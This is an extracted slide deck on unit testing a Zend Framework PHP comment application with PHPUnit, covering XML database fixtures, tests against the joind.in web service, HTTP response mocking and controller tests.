  • 63. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 64. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 65. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 69. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 70. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 73. Web services remarks •- you need to comply with an API that will be your reference •- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 76. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 77. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 79. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 80. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 81. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 82. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 85. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 86. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 87. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 91. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  • 92. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 93. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 94. REMARK •- data providers can be used to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  • 95. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 101. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  • 102. Thank you • source code: http://github.com/DragonBe/zftest • your rating: http://joind.in/3381 •- follow me: twitter: @DragonBe - facebook: DragonBe Please use joind.in for feedback

Editor's Notes